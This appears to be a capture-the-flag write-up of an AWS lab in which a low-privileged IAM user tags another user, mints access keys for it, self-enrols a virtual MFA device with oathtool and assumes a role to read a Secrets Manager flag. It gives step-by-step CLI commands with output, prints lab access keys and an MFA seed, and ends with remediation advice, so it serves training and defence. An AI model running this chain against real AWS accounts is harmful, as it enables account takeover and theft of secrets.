HackSmarter - Rotation

MediumHackSmarter8 min read
Challenge Lab: Rotation (Medium) logo

Sypnosis

Rotation simulates an AWS penetration test against a client rolling out a standard developer IAM user. Starting from a low-privileged access key, the goal is to escalate privileges and ultimately read a flag stored in AWS Secrets Manager.

The box chains three distinct AWS misconfigurations:

  1. An overly broad tag-based conditional IAM policy that allows self-service key rotation on any user carrying a specific tag — combined with unrestricted tagging rights on other IAM principals.
  2. A privileged user (admin_lab) that is permitted to sts:AssumeRole into a role with Secrets Manager access, but whose assume-role is gated behind an MFA-present condition — which can be satisfied entirely through IAM API calls, without ever touching the AWS Console.
  3. A Secrets Manager secret reachable only through that role.

Objectives

You have been hired to perform an AWS pentest against a client's infrastructure. They are in the process of rolling out a new standard user to all of their developers. They have placed a flag in Secrets Manager to simulate a full compromise. Can you abuse your permissions, elevate your access, and gain access to Secrets Manager?


Initial Access

We were issued a starting IAM access key/secret pair with no VPN required — straight access to the AWS API.

bash
aws configure --profile rotation
# AWS Access Key ID:     AKIAYR35WUFDZ72BDXFZ
# AWS Secret Access Key: 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
# Default region name:   us-east-1
# Default output format: json

Confirming identity:

bash
aws sts get-caller-identity --profile rotation
json
{
    "UserId": "AIDAYR35WUFDUVFF3VEHV",
    "Account": "588137275719",
    "Arn": "arn:aws:iam::588137275719:user/manager_lab"
}

We are manager_lab in account 588137275719.


Enumeration

Attached / inline policies on our user

bash
aws iam list-attached-user-policies --user-name manager_lab --profile rotation
aws iam list-user-policies --user-name manager_lab --profile rotation
json
{
    "AttachedPolicies": [
        { "PolicyName": "IAMReadOnlyAccess", "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess" }
    ]
}
{
    "PolicyNames": [ "SelfManageAccess", "TagResources" ]
}

manager_lab has AWS-managed read-only IAM visibility, plus two inline policies worth a closer look — SelfManageAccess and TagResources.

SelfManageAccess

bash
aws iam get-user-policy --user-name manager_lab --policy-name SelfManageAccess --profile rotation
json
{
    "Statement": [
        {
            "Sid": "SelfManageAccess",
            "Effect": "Allow",
            "Action": [
                "iam:DeactivateMFADevice", "iam:GetMFADevice", "iam:EnableMFADevice",
                "iam:ResyncMFADevice", "iam:DeleteAccessKey", "iam:UpdateAccessKey",
                "iam:CreateAccessKey"
            ],
            "Resource": [
                "arn:aws:iam::588137275719:user/*",
                "arn:aws:iam::588137275719:mfa/*"
            ],
            "Condition": {
                "StringEquals": { "aws:ResourceTag/developer": "true" }
            }
        },
        {
            "Sid": "CreateMFA",
            "Effect": "Allow",
            "Action": [ "iam:DeleteVirtualMFADevice", "iam:CreateVirtualMFADevice" ],
            "Resource": "arn:aws:iam::588137275719:mfa/*"
        }
    ]
}

Key finding: this policy is scoped to user/* (any user in the account, not just manager_lab) and gated only by a resource tag condition (developer=true) — not by resource name. Anyone who can apply that tag to another user can then rotate/create access keys for that user.

TagResources

bash
aws iam get-user-policy --user-name manager_lab --policy-name TagResources --profile rotation
json
{
    "Statement": [
        {
            "Sid": "TagResources",
            "Effect": "Allow",
            "Action": [
                "iam:UntagUser", "iam:UntagRole", "iam:TagRole",
                "iam:UntagMFADevice", "iam:UntagPolicy", "iam:TagMFADevice",
                "iam:TagPolicy", "iam:TagUser"
            ],
            "Resource": "*"
        }
    ]
}

iam:TagUser on Resource: "*" — we can tag any IAM user in the account, including with developer=true. Combined with SelfManageAccess, this is a complete privilege escalation primitive:

Tag any user as developer=true → mint/rotate an access key for that user → authenticate as them.

Enumerating other IAM users

bash
aws iam list-users --profile rotation
json
{
    "Users": [
        { "UserName": "admin_lab" },
        { "UserName": "developer_lab" },
        { "UserName": "manager_lab" }
    ]
}

Checking each user's policies (allowed by IAMReadOnlyAccess):

bash
aws iam list-attached-user-policies --user-name developer_lab --profile rotation
# {"AttachedPolicies": []}

aws iam list-user-policies --user-name developer_lab --profile rotation
# {"PolicyNames": ["DeveloperViewSecrets"]}

aws iam list-attached-user-policies --user-name admin_lab --profile rotation
# {"AttachedPolicies": [{"PolicyName": "IAMReadOnlyAccess", ...}]}

aws iam list-user-policies --user-name admin_lab --profile rotation
# {"PolicyNames": ["AssumeRoles"]}

Pulling both candidate policies:

bash
aws iam get-user-policy --user-name developer_lab --policy-name DeveloperViewSecrets --profile rotation
json
{
    "Statement": [
        { "Sid": "ViewSecrets", "Effect": "Allow", "Action": "secretsmanager:ListSecrets", "Resource": "*" }
    ]
}

developer_lab can only list secrets — no GetSecretValue. A dead end by itself.

bash
aws iam get-user-policy --user-name admin_lab --policy-name AssumeRoles --profile rotation
json
{
    "Statement": [
        {
            "Sid": "AssumeRole",
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Resource": "arn:aws:iam::588137275719:role/cg_secretsmanager_lab"
        }
    ]
}

admin_lab can assume cg_secretsmanager_lab — a role name that strongly implies Secrets Manager access. admin_lab is our target.


Exploitation

1. Tag admin_lab as a "developer"

bash
aws iam tag-user --user-name admin_lab --tags Key=developer,Value=true --profile rotation

2. Mint an access key for admin_lab

bash
aws iam create-access-key --user-name admin_lab --profile rotation

First attempt failed — the account already had 2 access keys on admin_lab(the AWS hard limit per user):

text
[ERROR]: LimitExceeded — Cannot exceed quota for AccessKeysPerUser: 2

Our SelfManageAccess policy also grants iam:DeleteAccessKey on tagged users, so we cleared a slot:

bash
aws iam list-access-keys --user-name admin_lab --profile rotation
aws iam delete-access-key --user-name admin_lab --access-key-id <existing-key-id> --profile rotation
aws iam create-access-key --user-name admin_lab --profile rotation
json
{
    "AccessKey": {
        "UserName": "admin_lab",
        "AccessKeyId": "AKIAYR35WUFD35GWSUUB",
        "Status": "Active",
        "SecretAccessKey": "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"
    }
}

3. Authenticate as admin_lab

bash
aws configure --profile admin_lab
aws sts get-caller-identity --profile admin_lab
json
{
    "UserId": "AIDAYR35WUFDT5IVP5LTT",
    "Account": "588137275719",
    "Arn": "arn:aws:iam::588137275719:user/admin_lab"
}

4. First AssumeRole attempt — blocked

bash
aws sts assume-role \
  --role-arn arn:aws:iam::588137275719:role/cg_secretsmanager_lab \
  --role-session-name pentest-session \
  --profile admin_lab
text
[ERROR]: AccessDenied — User: arn:aws:iam::588137275719:user/admin_lab is not authorized to perform: sts:AssumeRole on resource: .../cg_secretsmanager_lab

Despite the identity-based policy allowing it, the call fails — meaning the role's trust policy is the blocker. Checking it:

bash
aws iam get-role --role-name cg_secretsmanager_lab --profile rotation
json
{
    "AssumeRolePolicyDocument": {
        "Statement": [
            {
                "Effect": "Allow",
                "Principal": { "AWS": "arn:aws:iam::588137275719:root" },
                "Action": "sts:AssumeRole",
                "Condition": {
                    "Bool": { "aws:MultiFactorAuthPresent": "true" }
                }
            }
        ]
    }
}

The role trusts the whole account (root principal) but requires an MFA-authenticated session on the caller. Plain long-term access keys never carry that condition — we need to attach and use a virtual MFA device.

5. Provision a virtual MFA device for admin_lab

manager_lab's SelfManageAccess + CreateMFA statements grant iam:CreateVirtualMFADevice / iam:EnableMFADevice on mfa/* and tagged user/* resources — and admin_lab is already tagged developer=true.

bash
aws iam create-virtual-mfa-device \
  --virtual-mfa-device-name admin-lab-mfa \
  --bootstrap-method Base32StringSeed \
  --outfile admin-lab-mfa-seed.txt \
  --profile rotation

cat admin-lab-mfa-seed.txt
# 4HL7EVGOUHHFWTUIG7FKVMNU6ICLN73YYWFOX6PXOUCM3WPCNVZ5NPLTMNEYFYHX
ℹ️

Note: --outfile is mandatory in the AWS CLI regardless of bootstrap method. Using Base32StringSeed writes a plain-text base32 seed instead of a QR PNG, which lets us generate TOTP codes headlessly with oathtool.

6. Generate two consecutive TOTP codes and enable the device

bash
oathtool --totp -b 4HL7EVGOUHHFWTUIG7FKVMNU6ICLN73YYWFOX6PXOUCM3WPCNVZ5NPLTMNEYFYHX
# 284631
sleep 30
oathtool --totp -b 4HL7EVGOUHHFWTUIG7FKVMNU6ICLN73YYWFOX6PXOUCM3WPCNVZ5NPLTMNEYFYHX
# 168663
bash
aws iam enable-mfa-device \
  --user-name admin_lab \
  --serial-number arn:aws:iam::588137275719:mfa/admin-lab-mfa \
  --authentication-code1 284631 \
  --authentication-code2 168663 \
  --profile rotation

No error — the MFA device is now attached to admin_lab.

7. Get an MFA-authenticated session token as admin_lab

bash
oathtool --totp -b 4HL7EVGOUHHFWTUIG7FKVMNU6ICLN73YYWFOX6PXOUCM3WPCNVZ5NPLTMNEYFYHX
# 863676

aws sts get-session-token \
  --serial-number arn:aws:iam::588137275719:mfa/admin-lab-mfa \
  --token-code 863676 \
  --profile admin_lab
json
{
    "Credentials": {
        "AccessKeyId": "ASIAYR35WUFDT3UJSHMY",
        "SecretAccessKey": "FOnfeTV08y1WCOZRrKfhYKlKeezFnQTYfe0u22UX",
        "SessionToken": "IQoJb3JpZ2luX2VjEOT...",
        "Expiration": "2026-07-31T23:44:33+00:00"
    }
}

These temporary credentials carry aws:MultiFactorAuthPresent: true.

8. Assume the role with the MFA session

bash
export AWS_ACCESS_KEY_ID=ASIAYR35WUFDT3UJSHMY
export AWS_SECRET_ACCESS_KEY=FOnfeTV08y1WCOZRrKfhYKlKeezFnQTYfe0u22UX
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEOT...

aws sts assume-role \
  --role-arn arn:aws:iam::588137275719:role/cg_secretsmanager_lab \
  --role-session-name pentest-session
json
{
    "Credentials": {
        "AccessKeyId": "ASIAYR35WUFDYGQVPDSL",
        "SecretAccessKey": "TPd2jQdqHzv4iBJpw5eK5LYYitPnO0wdtoL1Aw1k",
        "SessionToken": "FwoGZXIvYXdzEPX...",
        "Expiration": "2026-07-31T12:45:22+00:00"
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:sts::588137275719:assumed-role/cg_secretsmanager_lab/pentest-session"
    }
}

Role assumed successfully.

9. Read the flag from Secrets Manager

bash
export AWS_ACCESS_KEY_ID=ASIAYR35WUFDYGQVPDSL
export AWS_SECRET_ACCESS_KEY=TPd2jQdqHzv4iBJpw5eK5LYYitPnO0wdtoL1Aw1k
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEPX...
export AWS_DEFAULT_REGION=us-east-1

aws secretsmanager list-secrets
json
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:588137275719:secret:cg_secret_lab-kd8pUx",
            "Name": "cg_secret_lab",
            "Description": "The primary secret for the iam_privesc_by_key_rotation scenario"
        }
    ]
}
bash
aws secretsmanager get-secret-value --secret-id cg_secret_lab
json
{
    "Name": "cg_secret_lab",
    "SecretString": "HSM{REDACTED}"
}

Root Cause & Remediation

WeaknessExplanationFix
Tag-based IAM conditions on user/*SelfManageAccess was intended to let users rotate their own keys/MFA, but scoped the resource to user/* with only a tag condition — any user able to write that tag can hijack the policy for any account.Scope self-service policies with aws:username == requester (e.g. "Resource": "arn:aws:iam::ACCOUNT:user/${aws:username}"), not tags alone.
Unrestricted iam:TagUser/iam:TagRole on Resource: "*"Letting a low-privileged principal tag arbitrary IAM identities enables it to satisfy tag-based conditions elsewhere in the account.Restrict tagging actions to specific resources/tag keys via aws:TagKeys and aws:RequestTag conditions, and never grant tagging rights broader than the principals a role is meant to manage.
MFA-gated trust policy is bypassable via API-only MFAThe cg_secretsmanager_lab trust policy assumed MFA meant "a human with a physical/app MFA device in the Console," but sts:GetSessionToken lets any principal that can manage its own virtual MFA device satisfy the same condition non-interactively.Combine MFA conditions with additional controls (e.g. hardware MFA enforcement, SCPs restricting CreateVirtualMFADevice/EnableMFADevice to trusted admins only) so a compromised low-priv user can't self-provision MFA for another identity.
Access key rotation permissions treated as "safe" self-serviceKey rotation/creation permissions are inherently privilege-equivalent to the target user — granting them broadly is equivalent to granting that user's full privilege set.Treat iam:CreateAccessKey/iam:UpdateAccessKey as high-privilege actions; restrict strictly to ${aws:username} and audit any tag-based conditions carefully.

Attack Chain Summary

text
manager_lab (IAMReadOnlyAccess, SelfManageAccess, TagResources)

        │  iam:TagUser (Resource: *)

tag admin_lab → developer=true

        │  iam:CreateAccessKey (Resource: user/*, Condition: tag=developer)

new access key for admin_lab

        │  admin_lab: AssumeRoles policy → cg_secretsmanager_lab
        │  BUT role trust policy requires MFA

manager_lab: iam:CreateVirtualMFADevice / iam:EnableMFADevice
  (on admin_lab, tagged developer=true)


enable virtual MFA on admin_lab → generate TOTP (oathtool)

        │  sts:GetSessionToken --serial-number ... --token-code ...

MFA-authenticated temporary credentials for admin_lab

        │  sts:AssumeRole → cg_secretsmanager_lab (trust condition satisfied)

role credentials with Secrets Manager access

        │  secretsmanager:ListSecrets / GetSecretValue

        FLAG